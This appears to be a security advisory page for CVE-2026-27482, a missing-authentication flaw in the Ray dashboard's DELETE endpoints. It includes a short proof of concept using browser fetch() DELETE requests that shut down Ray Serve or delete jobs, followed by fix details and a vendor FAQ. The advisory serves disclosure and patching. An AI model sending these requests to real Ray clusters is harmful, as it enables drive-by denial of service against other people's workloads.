CVE-2026-27482

Ray’s dashboard HTTP server blocks browser-origin POST/PUT but does not cover DELETE, and key DELETE endpoints are unauthenticated by default. If the dashboard/agent is reachable (e.g., --dashboard-host=0.0.0.0), a web page via DNS rebinding or same-network access can
issue DELETE requests that shut down Serve or delete jobs without user interaction. This is a drive-by availability impact.

Details

• Middleware: python/ray/dashboard/http_server_head.py#get_browsers_no_post_put_middleware only checks POST/PUT via is_browser_request (UA/Origin/Sec-Fetch heuristics). DELETE is not gated.
• Endpoints lacking browser protection/auth by default:
  • python/ray/dashboard/modules/serve/serve_head.py: @routes.delete("/api/serve/applications/") calls serve.shutdown().
  • python/ray/dashboard/modules/job/job_head.py: @routes.delete("/api/jobs/{job_or_submission_id}").
  • python/ray/dashboard/modules/job/job_agent.py: @routes.delete("/api/job_agent/jobs/{job_or_submission_id}") (not wrapped with deny_browser_requests either).
• Dashboard token auth is optional and off by default; binding to 0.0.0.0 is common for remote access.

PoC

Prereqs: dashboard reachable (e.g., ray start --head --dashboard-host=0.0.0.0), no token auth.

1. Start Serve (or have jobs present).
2. From any browser-reachable origin (DNS rebinding or same-LAN page), issue a DELETE fetch:

fetch("http://<dashboard-host>:8265/api/serve/applications/", {
    method: "DELETE",
    headers: { "User-Agent": "Mozilla/5.0" }  // browsers set this automatically
  });

Result: Serve shuts down.
3) Similarly, delete jobs:

fetch("http://<dashboard-host>:8265/api/jobs/<job_or_submission_id>", { method: "DELETE" });
fetch("http://<dashboard-agent>:52365/api/job_agent/jobs/<job_or_submission_id>", { method: "DELETE" });

Browsers will send the Mozilla UA and Origin/Sec-Fetch headers, but DELETE is not blocked by the middleware, so the requests succeed.

Impact

• Availability loss: Serve shutdown; job deletion. Triggerable via drive-by browser requests if the dashboard/agent ports are reachable and auth is disabled (default).
• No code execution from this vector, but breaks isolation/trust assumptions for “developer-only” endpoints.

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-27482 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.54.0); upgrading removes the vulnerable code path.

Kodem intelligence

The fix for this vulnerability is to update to Ray 2.54.0 or higher.

Fix PR: https://github.com/ray-project/ray/pull/60526

1. What is CVE-2026-27482? CVE-2026-27482 is a medium-severity missing authentication for critical function vulnerability in ray (pip), affecting versions < 2.54.0. It is fixed in 2.54.0. A critical operation is accessible without requiring any authentication.
2. How severe is CVE-2026-27482? CVE-2026-27482 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of ray are affected by CVE-2026-27482? ray (pip) versions < 2.54.0 is affected.
4. Is there a fix for CVE-2026-27482? Yes. CVE-2026-27482 is fixed in 2.54.0. Upgrade to this version or later.
5. Is CVE-2026-27482 exploitable, and should I be worried? Whether CVE-2026-27482 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27482 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-27482? Upgrade ray to 2.54.0 or later.